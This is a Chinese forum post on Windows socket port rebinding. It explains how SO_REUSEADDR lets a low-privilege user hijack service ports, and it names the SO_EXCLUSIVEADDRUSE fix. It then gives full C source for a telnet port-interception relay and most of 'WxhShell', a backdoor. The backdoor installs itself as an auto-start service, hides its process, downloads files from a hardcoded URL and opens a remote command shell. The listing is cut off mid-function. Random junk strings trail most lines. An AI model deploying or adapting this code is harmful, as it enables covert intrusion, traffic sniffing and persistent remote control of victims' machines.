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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *hVb5CS  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dv;9QCc'  
<EMkD1e  
  saddr.sin_family = AF_INET; =m}TU)4.  
^m*3&x8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); E4+b-?PB~  
$$JIBf8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ll^DY hx}  
XHxz @_rw  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 90~*dNk  
-~ 0] 7Cpl  
  这意味着什么?意味着可以进行如下的攻击: ?g2zmI!U  
{odA[H  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 SIq1X'7  
(w+%=z"M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I:#Ok+   
:pwa{P  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |;P^clS3  
8xgJSk  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  q] ^,vei  
pOMgEEhfS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _J,xT  
flG=9~qcGQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {FWyu5.  
p*|ah%F6N  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 vMhYpt?7\  
:BZMnCfA  
  #include R2w`Y5#`  
  #include &5u BNpH  
  #include Y0@yD#,0~  
  #include    *Bs^NU.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ic-IN~J-  
  int main() ASW4,%cl  
  { Ep mJWbU  
  WORD wVersionRequested; cC%j!8!  
  DWORD ret; R4b-M0H  
  WSADATA wsaData; %M9;I  
  BOOL val; zPVd(V~(T  
  SOCKADDR_IN saddr; >AG^fUArH  
  SOCKADDR_IN scaddr; " 9@,l!  
  int err; cZ|lCy^  
  SOCKET s; SK+@HnKd  
  SOCKET sc;  \~>e_;  
  int caddsize; ExCM<$,  
  HANDLE mt; WL l_'2h  
  DWORD tid;   T~X41d\  
  wVersionRequested = MAKEWORD( 2, 2 ); q#N R32byF  
  err = WSAStartup( wVersionRequested, &wsaData ); aG! *WHt  
  if ( err != 0 ) { Ky kSFB  
  printf("error!WSAStartup failed!\n"); xc;DdK=1X  
  return -1; dQ9 ah  
  } KCUU#t|8V\  
  saddr.sin_family = AF_INET; rB%y6P B  
   |SQ|qbe=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  H4:ZTl_$  
< Dd%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); W"Q!|#;l.  
  saddr.sin_port = htons(23); E-fr}R}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QHzgy?  
  { z(me@P!D~  
  printf("error!socket failed!\n"); >)Gd:636+  
  return -1; +`.,| |Mq  
  } F;u_7OM  
  val = TRUE; x=]S.XI  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -U -P}6^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5M:D?9E+  
  { ES}. xZ#~  
  printf("error!setsockopt failed!\n"); \}JrFc%O  
  return -1; )KY:m |Z  
  } g9KTn4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; aMTFW_w  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^Kqf ~yS%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Au.:OeJm  
I@\+l6&#;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #`ls)-`7  
  { _KN/@(+F  
  ret=GetLastError(); {.CMD9F[  
  printf("error!bind failed!\n"); [i7YVwG4  
  return -1; uWjU OJEe  
  } zizk7<?L .  
  listen(s,2); l Y'N4x7n  
  while(1) oNM?y:O  
  { }`o? /!X   
  caddsize = sizeof(scaddr); y=aV=qD  
  //接受连接请求 ;YyXT"6/p  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); rh%m;i<b  
  if(sc!=INVALID_SOCKET) `8:Kp  
  { $`ztiVu3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =X1?_~}  
  if(mt==NULL) jL>:>r  
  { 8W+5)m.tp  
  printf("Thread Creat Failed!\n"); K |*5Kwi  
  break; 3yV'XxC  
  } cozXb$bBY  
  } gU1#`r>[)  
  CloseHandle(mt); ,9of(T(~  
  } :243H  
  closesocket(s); /ty?<24ko  
  WSACleanup(); wLJ]&puwm  
  return 0; tous#(&pK  
  }   S8vV!xO  
  DWORD WINAPI ClientThread(LPVOID lpParam) E m{aM  
  { XOy2lJ/  
  SOCKET ss = (SOCKET)lpParam; }Ln@R~[  
  SOCKET sc; ~/-eyxLTm  
  unsigned char buf[4096]; 3[IJhR[  
  SOCKADDR_IN saddr; #0"~G][#  
  long num; Gy"%R-j7  
  DWORD val; U BZ9A  
  DWORD ret; Tum_aI  
  //如果是隐藏端口应用的话,可以在此处加一些判断 g|%L"-%gJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   C#Bz >2;#  
  saddr.sin_family = AF_INET; UiQEJXwnz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); nJZ6? V  
  saddr.sin_port = htons(23); H(-4:BD?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ne6}oQy(S`  
  { 60}! LmL  
  printf("error!socket failed!\n"); 9$1)k;ChP/  
  return -1; / T c=  
  } |/`%3'4H  
  val = 100; iwF9[wAft  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iL]'y\?lv  
  { }#`:Qb \U  
  ret = GetLastError(); @f1*eo5f  
  return -1; cYNV\b4-  
  } lr@#^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8g~EL{'  
  { -YGbfd<wq  
  ret = GetLastError(); T:iP="?{  
  return -1; G64Fx*`  
  } V416g |lBO  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) bzZ>lyH  
  { Di5(9]o2  
  printf("error!socket connect failed!\n"); [A2`]CE<@  
  closesocket(sc); (Ddp|a"b  
  closesocket(ss); Pm{*.AW1  
  return -1; T*[ VY1  
  } uJU*")\V  
  while(1) ,!#ccv+Vm%  
  { Q<(YP.k  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 aelO3'UN  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _5Bcwa/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &^".2)zU  
  num = recv(ss,buf,4096,0); ,'fxIO  
  if(num>0) )_7>nuQ6  
  send(sc,buf,num,0); u1^wDc*xg  
  else if(num==0) Ms^dRe)  
  break; mpw~hW0-  
  num = recv(sc,buf,4096,0); 39i9wrP  
  if(num>0) ^jE8+h  
  send(ss,buf,num,0); 9~\kF5Q"  
  else if(num==0) ^K(^I*q  
  break; C.Uju`3  
  } pB:$lS  
  closesocket(ss); b~m2tC=AW  
  closesocket(sc); e [h8}F  
  return 0 ; UUe#{6Jx_  
  } $md%x mQ[  
c=O,;lWFqm  
9xI GV!  
========================================================== 6xK[34~ 6  
<Zb/  
下边附上一个代码,,WXhSHELL H}}$V7]^),  
*e>]~Z,  
========================================================== wK_]/Q-L  
Z8O n%Mx{"  
#include "stdafx.h" c}Z6V1]QP  
r,1e 'd:  
#include <stdio.h> }T2xXbU  
#include <string.h> D;}xr_  
#include <windows.h> pKUP2m`MW  
#include <winsock2.h> K5>p89mZ  
#include <winsvc.h> 2}6%qgnT-  
#include <urlmon.h> C4$:mJ>y  
/phX'xp  
#pragma comment (lib, "Ws2_32.lib") -Apc$0ZsN  
#pragma comment (lib, "urlmon.lib") }L=/A7Nk>  
{7hLsK[])  
#define MAX_USER   100 // 最大客户端连接数 sic"pn],U  
#define BUF_SOCK   200 // sock buffer OR1DYHHT/1  
#define KEY_BUFF   255 // 输入 buffer y&~w2{a  
Vv.r8IGYm  
#define REBOOT     0   // 重启 z;tI D~Y  
#define SHUTDOWN   1   // 关机 c_grPk2O4  
`4?~nbz  
#define DEF_PORT   5000 // 监听端口 HSUI${<  
0oZsb\  
#define REG_LEN     16   // 注册表键长度 g#]" hn  
#define SVC_LEN     80   // NT服务名长度 {P%9  
u7%D6W~m0  
// 从dll定义API IY'=DePd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `>Tu|3%\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hg.#DxRi{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^n Jyo:DO;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {PP9$>4`l  
Yf,K#' h:  
// wxhshell配置信息 >^Q&nkB"B  
struct WSCFG { 7"F*u :  
  int ws_port;         // 监听端口 #AkV/1Y  
  char ws_passstr[REG_LEN]; // 口令 h0--B]f@  
  int ws_autoins;       // 安装标记, 1=yes 0=no @}p2aV59  
  char ws_regname[REG_LEN]; // 注册表键名 (tah]Bx  
  char ws_svcname[REG_LEN]; // 服务名 w27KI]%(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P9Yy9_a|x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8 ;d$54 b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {'sY|lou  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N[]Hc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1d"Z>k:mn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XgN` 7!Z  
h+p*=|j`  
}; u@'0Vk0zGH  
:NHH Dl  
// default Wxhshell configuration xJ^>pg8  
struct WSCFG wscfg={DEF_PORT, l:0s2  
    "xuhuanlingzhe", [v7^i_d  
    1, $E<Esf$  
    "Wxhshell", fqX"Lus `=  
    "Wxhshell", y.5/?{GL  
            "WxhShell Service", }VS3L_ ;}/  
    "Wrsky Windows CmdShell Service", oF9 -&  
    "Please Input Your Password: ", Va,<3z%O<  
  1, lt^\  
  "http://www.wrsky.com/wxhshell.exe", LZJA4?C  
  "Wxhshell.exe" Q?ahr~qo  
    };  B[=(#W  
geQ{EwO8n  
// 消息定义模块 [${ QzO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MObt,[^W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Nk=JBIsKv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X'.qYsS  
char *msg_ws_ext="\n\rExit."; @2pu^k^  
char *msg_ws_end="\n\rQuit."; C*U'~qRK  
char *msg_ws_boot="\n\rReboot..."; ;k"Bse!/  
char *msg_ws_poff="\n\rShutdown..."; qPB8O1fyU  
char *msg_ws_down="\n\rSave to "; tO7v4  
LTNj| u  
char *msg_ws_err="\n\rErr!"; >_rha~   
char *msg_ws_ok="\n\rOK!"; [b%:.bjY  
B\J^=W+`  
char ExeFile[MAX_PATH]; 9TF f8'?d  
int nUser = 0; GRb*EeT  
HANDLE handles[MAX_USER]; T2}FYVj?!g  
int OsIsNt; S6}@I ,Q  
,fK3ZC  
SERVICE_STATUS       serviceStatus; "|;:>{JC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V/ cP4{L  
bCref$|  
// 函数声明 RZM"~ 0  
int Install(void); @L.82p{h  
int Uninstall(void); Um1[sMc{au  
int DownloadFile(char *sURL, SOCKET wsh); Z3>N<u8)  
int Boot(int flag); a#mNE*Dg  
void HideProc(void); F'g Vzf  
int GetOsVer(void); ]\/tVn.'  
int Wxhshell(SOCKET wsl); jV.g}F+1m  
void TalkWithClient(void *cs); 4}_O`Uxh  
int CmdShell(SOCKET sock); Gl1jxxd  
int StartFromService(void); o]nw0q?  
int StartWxhshell(LPSTR lpCmdLine); `cPywn@uGZ  
REZJ}%}/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S3L~~X/=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); obdFS,JxxG  
[ W2fd\4  
// 数据结构和表定义 91Uj}n%  
SERVICE_TABLE_ENTRY DispatchTable[] = iX0iRC6f  
{ u6`=x$&  
{wscfg.ws_svcname, NTServiceMain}, xs\!$*R  
{NULL, NULL}  K;LZ-  
}; kYzC#.|1  
SyAvKd`g  
// 自我安装 /C/id)h>  
int Install(void) )p!7 #v/@f  
{ r]OK$Ql  
  char svExeFile[MAX_PATH]; h~C.VJWl  
  HKEY key; 8$(Dz]v|[&  
  strcpy(svExeFile,ExeFile); !61Pl/uQ  
!LkW zn3  
// 如果是win9x系统,修改注册表设为自启动 PW3GL3+  
if(!OsIsNt) { ypJ".  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p>_;^&>&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vy_2.  
  RegCloseKey(key); JG9`h#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VmzbZTup  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5{n*"88  
  RegCloseKey(key); 5K|"\  
  return 0; Ed9Z9  
    } }I@L}f5N  
  } )DYI .  
} "t^URp3  
else { hJzxbr <  
<hwy*uBrD  
// 如果是NT以上系统,安装为系统服务 a0Ik`8^`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FgLrb#  
if (schSCManager!=0) 1? FrJ6 V  
{ s7oT G!  
  SC_HANDLE schService = CreateService *^([ ~[  
  ( ',GS#~  
  schSCManager, 4t)%<4  
  wscfg.ws_svcname, %pXAeeSY`;  
  wscfg.ws_svcdisp, <C9 XX~  
  SERVICE_ALL_ACCESS, [F5h   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ""s]zNF}  
  SERVICE_AUTO_START, `vc "Q/  
  SERVICE_ERROR_NORMAL, b)9'bJRvU  
  svExeFile, S(\9T1DVe  
  NULL, -=.V '  
  NULL, ?<6CFH]  
  NULL, l4TpH|k  
  NULL, 'ejvH;V3i  
  NULL "R8KQj  
  ); Hcc"b0>}{  
  if (schService!=0) Ela-,(Glk  
  { M-i_#EWP  
  CloseServiceHandle(schService); &Q}*+Y]G  
  CloseServiceHandle(schSCManager); Xn~I=Ml d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $.Q$`/dF  
  strcat(svExeFile,wscfg.ws_svcname); zni)<fmju  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Isx#9C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 191&_*Xb  
  RegCloseKey(key); PQ@L+],C  
  return 0; kNqH zo  
    } [o*7FEM|<  
  } L28*1]\Jh  
  CloseServiceHandle(schSCManager); ;Jd3u -  
} 6\61~u~  
} I |# 5NE6  
W+*5"h  
return 1; *m2=/Sh  
} *Z_C4Tj  
,t)x{I;C)  
// 自我卸载 U35AX9/  
int Uninstall(void) \;rYo.+  
{ 3=W!4  
  HKEY key; 9o>8o  
Z'H5,)j0R  
if(!OsIsNt) { &i!vd/*WlD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9:I6( Zv0  
  RegDeleteValue(key,wscfg.ws_regname); eHDef  
  RegCloseKey(key); QJ|ap4r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e)E$}4  
  RegDeleteValue(key,wscfg.ws_regname); w,Ee>cV]a  
  RegCloseKey(key); v:+ ~9w+  
  return 0; !45.puL0  
  } 7 bDHXn  
} wu"&|dt  
} b=3H  
else { _,</1~.  
nNXgW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *'"^NSJ  
if (schSCManager!=0) |AC1\)2tT  
{ '_b.\_s-d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /*|oL# hK  
  if (schService!=0) ~{}#)gGU  
  { Y<0 4RV  
  if(DeleteService(schService)!=0) { xnE|Umz  
  CloseServiceHandle(schService); y,pZTlE  
  CloseServiceHandle(schSCManager); MQKfJru7  
  return 0; |pa$*/!NT  
  } uytE^  
  CloseServiceHandle(schService); Et_V,s<|  
  } "[:iXRu  
  CloseServiceHandle(schSCManager); k<+0o))  
} S.!UPkWH  
} :$+-3_oLMQ  
@ |'5 n  
return 1; wW>)(&!F  
} :rP#I#,7w  
.CSS}4  
// 从指定url下载文件 ' H7x L  
int DownloadFile(char *sURL, SOCKET wsh) zXsc1erli  
{ oq*N_mP0  
  HRESULT hr; UJs$q\#RO  
char seps[]= "/";  JMdPwI  
char *token; r < cVp^  
char *file; 3Tq\BZ  
char myURL[MAX_PATH]; ^9-&o  
char myFILE[MAX_PATH]; X>?b#Eva  
W[+|}  
strcpy(myURL,sURL); V(Yxh+KU  
  token=strtok(myURL,seps); %7g:}O$  
  while(token!=NULL) 1wW)tNKIF  
  { /k"`7`!  
    file=token; HHjt/gc}`  
  token=strtok(NULL,seps); Lr`1TH,  
  } DQwGUF'(  
y$<Vha  
GetCurrentDirectory(MAX_PATH,myFILE); ttXjn  
strcat(myFILE, "\\"); k=GG>]<i  
strcat(myFILE, file); 9C t`  
  send(wsh,myFILE,strlen(myFILE),0); ud fe  
send(wsh,"...",3,0); ddVa.0Z!<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jgS%1/&  
  if(hr==S_OK) ]59i>  
return 0; c]B$i*t  
else -YD+(c`l  
return 1; lO:. OZu  
jp' K%P  
} >MJg ,  
LW:o8ES33  
// 系统电源模块 [31p&FxM  
int Boot(int flag) 4d:{HLX,  
{ 7w;O}axI  
  HANDLE hToken; 2BCtJ`S`  
  TOKEN_PRIVILEGES tkp; 5sPywk{  
LI)!4(WH  
  if(OsIsNt) { , *qCf@$I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +\Q?w?DE|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bxK(9.  
    tkp.PrivilegeCount = 1; E+C5 h ;p&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i@NqC;~;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4 g. bR  
if(flag==REBOOT) { 1009ES7*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  'Pvm8t  
  return 0; - y9>;6  
} n}xhW'3hU=  
else { {G*A.$-d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ceGa([#!\_  
  return 0; e4FM} z[  
} 1y^K/.5-  
  } #y|V|nd  
  else { ?[x49Ux,P  
if(flag==REBOOT) { {K#NB_*To  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~el3I=KC}  
  return 0; P'MY[&|mM'  
} }bU8G '  
else { /MQU >&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fri0XxF  
  return 0; R_sC! -  
} 2wqk,c[]  
} 8vk..!7n}  
,7,g%?_P  
return 1; Mz I q"3  
} !QmzrX}h  
qW 1V85FG  
// win9x进程隐藏模块 G,=yc@uq  
void HideProc(void) :ug4g6;#H0  
{ TO,rxf  
`IINq{Zk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FI8Oz,  
  if ( hKernel != NULL ) A$g+K,.l  
  { |_u8mV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \8O O)98'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -)!> M>=s  
    FreeLibrary(hKernel); Ch )dLPz@  
  } pS4&w8s  
+MK6zf  
return; c^8o~K>w84  
} +*oS((0s  
1p`+  
// 获取操作系统版本 SvvUkQ#1w  
int GetOsVer(void) TgU**JN)  
{ 6B$q,"%S@  
  OSVERSIONINFO winfo; JFL>nH0mk.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Wl^R8w#Z$  
  GetVersionEx(&winfo); 5W =(+Q>C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~{>?*Gd&T  
  return 1; t"j|nz{m  
  else B@Nt`ky0*  
  return 0; h?\2 _s  
} &p<(_|Af  
BcA31%  
// 客户端句柄模块 +5v}q.:+  
int Wxhshell(SOCKET wsl) #$vRJ#S}U  
{ pO<-.,  
  SOCKET wsh; 6)\dBOz  
  struct sockaddr_in client; m xw dugr`  
  DWORD myID; "HM{b?N  
OEr:xK2T  
  while(nUser<MAX_USER) Q4s&E\}  
{ O gmO&cE  
  int nSize=sizeof(client); f]~c)P Cs  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); } wSi~^*  
  if(wsh==INVALID_SOCKET) return 1; h!&sNzX  
PU9`<3z5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <I;*[;AK  
if(handles[nUser]==0) (\puf+  
  closesocket(wsh); [-*F"}D,  
else ~#:e*:ro  
  nUser++; lhC6S'vq  
  } .DJDpP)M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f<y& \'3  
'UM!*fk7C  
  return 0; o7&4G$FX~  
} Bd bJ< Is  
FqA3  {  
// 关闭 socket VS?@y/\In  
void CloseIt(SOCKET wsh) !Q-wdzsp?  
{ j_?cpm{~ml  
closesocket(wsh); $7I] `Jt  
nUser--; F>|9 52  
ExitThread(0); cTZ)"^z!  
} IKvBf'%-  
^c9ThV.v  
// 客户端请求句柄  *2u E  
void TalkWithClient(void *cs) 8dT'xuch  
{ :s8A:mx  
Wf02$c0#K  
  SOCKET wsh=(SOCKET)cs; yt.c5> B^  
  char pwd[SVC_LEN]; VmQh$&h  
  char cmd[KEY_BUFF]; @kngI7=E  
char chr[1]; X=qS"O 1  
int i,j; o 6j"OZcv  
ioIv=qGdiP  
  while (nUser < MAX_USER) { G2mNm'0  
F N"rZWM  
if(wscfg.ws_passstr) { +?-qfp,:0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5{ >0eFzG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0yof u  
  //ZeroMemory(pwd,KEY_BUFF); i%(yk#=V  
      i=0; `rWB`q|i<  
  while(i<SVC_LEN) { V*B0lI7`B  
}$&WC:Lg  
  // 设置超时 s*,cF6  
  fd_set FdRead; sz09+4h#  
  struct timeval TimeOut; bLG]Wa  
  FD_ZERO(&FdRead); Pw}_[[>$  
  FD_SET(wsh,&FdRead); [J\DB)V/  
  TimeOut.tv_sec=8; +h[e0J|v{  
  TimeOut.tv_usec=0; p?rK`$U+J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Mps *}9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i|2$8G3  
\3NS>v[1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I"!'AI-  
  pwd=chr[0]; ":WYcaSi  
  if(chr[0]==0xd || chr[0]==0xa) { V> a*3D  
  pwd=0; 5]"BRn1*  
  break; XK3]AYH  
  } <GWR7rUH  
  i++; P!+v:'P5f  
    } 4e%8D`/=M  
^E@@YV  
  // 如果是非法用户,关闭 socket '_Wt }{h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #MTj)P,  
} 5}<[[}(  
%<U{K;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .Vx|'-u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *m_93J  
Fn,k!q  
while(1) { vnsSy33K  
(DJvi6\H  
  ZeroMemory(cmd,KEY_BUFF); cb+y9wA  
QaMDGD  
      // 自动支持客户端 telnet标准   z}5<$K_U  
  j=0;  {;RF  
  while(j<KEY_BUFF) { ^tE_LL+ji|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZH-5 Qy_  
  cmd[j]=chr[0]; ce5nG0@#  
  if(chr[0]==0xa || chr[0]==0xd) { oa0X5}D  
  cmd[j]=0; J/S{FxNe]  
  break; ^@_).:oX7  
  } _^; ;i4VZ  
  j++; KSOO?X0j  
    } W(k:Pl#  
k/#M<z  
  // 下载文件 #\b ;2>  
  if(strstr(cmd,"http://")) { agY5Dg7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Kfjryo9  
  if(DownloadFile(cmd,wsh)) ="lI i$>O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8IWw jyRr  
  else *CUdGI&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G.ud1,S#  
  } IIP.yyh>  
  else { 2Guvze_bU  
<|JU(B  
    switch(cmd[0]) { A70(W{6a9@  
  i`~~+6`J  
  // 帮助 + zDc  
  case '?': { 6$z'wy/*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4g!7 4a  
    break; F!R2_89iy  
  } " dT>KQ  
  // 安装 !Zj#.6c9  
  case 'i': { 5DSuUEvWcL  
    if(Install()) 0#=W#Jl>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n!?r }n8  
    else 6PJ'lA;*b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ('HxHOh2  
    break; t&pGQ  
    } hZ o5p&b  
  // 卸载 \1{_lynD  
  case 'r': { k#jm7 +  
    if(Uninstall()) Cgo XZX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L<E/,IdE  
    else poY8 )2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qL>v&Rd<  
    break; ' fl(N2t  
    } RO$*G jQd  
  // 显示 wxhshell 所在路径 ]+lF=kkc %  
  case 'p': { \4@a  
    char svExeFile[MAX_PATH]; 'RQiLUF  
    strcpy(svExeFile,"\n\r"); Loc8eToZ  
      strcat(svExeFile,ExeFile); +I.v!P!^  
        send(wsh,svExeFile,strlen(svExeFile),0); #W^_]Q=5R'  
    break; \d5}5J]a&n  
    } ~,G]glu8  
  // 重启 ?1$\pq^  
  case 'b': { HSql)iT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &z QWIv  
    if(Boot(REBOOT)) l]u7.~b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ )k2=67  
    else { (-'PD_|  
    closesocket(wsh); /xf.\Z7<  
    ExitThread(0); U TS{H  
    } wKLN:aRF2  
    break; |DGCdB|`G  
    } :W%4*-FP  
  // 关机 7H?! RYrx  
  case 'd': { _0*=u$~R  
